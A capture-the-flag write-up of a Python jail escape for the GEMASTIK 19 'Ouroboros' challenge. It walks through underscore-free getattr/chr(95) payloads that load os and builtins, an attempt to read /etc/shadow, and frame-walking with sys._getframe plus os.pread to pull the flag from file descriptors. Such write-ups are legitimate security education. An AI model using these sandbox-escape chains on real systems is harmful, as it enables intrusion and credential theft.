Write-up GEMASTIK 19 – Ouroboros, black-box Python filter bypass

Thumbnail

Challenge Description: Send Python and it runs. Something reads how you wrote it first. Points: 495

Black Box? Aww man :(

So, we're given a CLI app. From the challenge description, I assume (from the description of the challenges) this was a Python app; just typing some text like 1 and 1+1, it just returns OK, not an output. Interesting...

1+1

The first thing I did was test for eval, print, and other normal stuff you do on this kind of challenge.

Eval testing

It results in a NameError, interesting, so most, or even all, built-in functions are probably disabled!

I assume this is some kind of command injection or a way to break out of eval, so I went straight to PayloadAllTheThings and checked out their SSTI Python template; it's not an SSTI challenge, but I bet it'll work here.

PATT

So I tried the universal one

__include__("os").popen("id").read()

Heh, I bet this challenge is that easy :p

It isn't.

Rejected

Aww, this one sucks, but which character is being blocked, though?

So I tested and tested, and I finally found that the problem is in the “_” character! Nothing else! So I just need to bypass it, then read the flag, right?

So I came up with this:

>>> getattr(getattr(getattr(getattr((), chr(95)*2+"class"+chr(95)*2), chr(95)*2+"base"+chr(95)*2), chr(95)*2+"subclasses"+chr(95)*2)()[84], "load"+chr(95)+"module")("os")
<module 'os' (built-in)>

Okay... After some time of work, I bet this'll immediately work, right?

B-but it works on my machine :(

Attribute Error

Of course it doesn't; I know why, it's because of a version mismatch. I bet the Python used on the server isn't the same as the one on my machine

You know what they say, if it ain't broke, break it. I found this Write-Up from Hack.lu CTF 2023, in one of the steps there, the creator says that he can break the eval filter by using a Unicode bypass

Unicode bypass

So I just stole it and tried it myself

> 𝓹𝓻𝓲𝓷𝓽("𝓛𝔂𝓻𝓪")
Traceback (most recent call last):
  File "/opt/ouroboros/jail.py", line 153, in <module>
  File "/opt/ouroboros/jail.py", line 139, in serve
  File "/opt/ouroboros/jail.py", line 87, in check
  File "/usr/local/lib/python3.12/ast.py", line 52, in parse
ImportError: /usr/local/lib/python3.12/lib-dynload/unicodedata.cpython-312-x86_64-linux-gnu.so: cannot open shared object file: Operation not permitted

Welp, I guess I accidentally broke the challenge. But this led to new information: that the challenge is run on Python 3.12 (I'm using 3.9). Well that's why.

I assume that the problem setter used simple FROM python:3.12 on its Dockerfile, so I just did the same on my machine

☁  ~  docker run -it --rm python:3.12 python3
Python 3.12.14 (main, Aug 13 2026, 19:41:20) [GCC 14.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> getattr(getattr(getattr(getattr((), chr(95)*2+"class"+chr(95)*2), chr(95)*2+"base"+chr(95)*2), chr(95)*2+"subclasses"+chr(95)*2)()[120], "load"+chr(95)+"module")("os")
<module 'os' (built-in)>

Okay, on my machine it was 84, but on 3.12 it's 120, so I tried doing this on the server, and it works!

Works

Well, at least it's “OK”, not an error or rejected.

Breaking away from the jail

Well Ill stop using too many images from here; I'm too lazy to do it :p

I updated my payload to:

a = getattr(getattr(getattr(getattr((), chr(95)*2+"class"+chr(95)*2), chr(95)*2+"base"+chr(95)*2), chr(95)*2+"subclasses"+chr(95)*2)()[120], "load"+chr(95)+"module")("builtins"); b=a.open("/etc/shadow").read();print(b)

It will try to open /etc/shadow, read it, and print it to the console (yes, I checked that print worked). But I got a PermissionError; I got a feeling that this user doesn't have read permission to any system files. So I thought, what if the flag isn't stored in a file, but in the host!

I checked the hack.lu reference again, and found out that you can access the host variables by using the sys._getframe method, so I tested it locally

>>> a = "test"
>>> eval("sys._getframe().f_back.f_locals")
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'sys': <module 'sys' (built-in)>, 'a': 'test'}
>>>

I modified it to check the host's variable, and list it

> a=getattr(getattr(getattr(getattr((),chr(95)*2+"class"+chr(95)*2),chr(95)*2+"base"+chr(95)*2),chr(95)*2+"subclasses"+chr(95)*2)()[120],"load"+chr(95)+"module")("builtins");s=getattr(a,chr(95)*2+"import"+chr(95)*2)("sys");f=getattr(getattr(s,chr(95)+"getframe")(),"f"+chr(95)+"back");l=getattr(f,"f"+chr(95)+"locals");a.print(getattr(l,"keys")())
dict_keys(['fd_a', 'fd_b', 'ns', 'line', 'code', 'tree'])


      ___         _  __
     / _ \       | |/ /
    | | | |      | ' /
    | |_| |      | . \
     \___/       |_|\_\


>

Okay, so there are fd_a and fd_b variables, so I modified the payload to check those variables

> a=getattr(getattr(getattr(getattr((),chr(95)*2+"class"+chr(95)*2),chr(95)*2+"base"+chr(95)*2),chr(95)*2+"subclasses"+chr(95)*2)()[120],"load"+chr(95)+"module")("builtins");s=getattr(a,chr(95)*2+"import"+chr(95)*2)("sys");f=getattr(getattr(s,chr(95)+"getframe")(),"f"+chr(95)+"back");l=getattr(f,"f"+chr(95)+"locals");o=getattr(a,chr(95)*2+"import"+chr(95)*2)("os");a.print(getattr(getattr(o,"pread")(getattr(l,"get")("fd"+chr(95)+"a"),4096,0)+getattr(o,"pread")(getattr(l,"get")("fd"+chr(95)+"b"),4096,0),"decode")())
GEMASTIK19{tw0_sk1ns_0n3_serp3nt_r34d_th3_pre0p3n3d_fd}
  ___         _  __
 / _ \       | |/ /
| | | |      | ' /
| |_| |      | . \
 \___/       |_|\_\



>

Well, uh, something definitely could be improved. I spent way too much time finding the correct array; well, at least I got it

This website does not use cookie because I don't care about your data.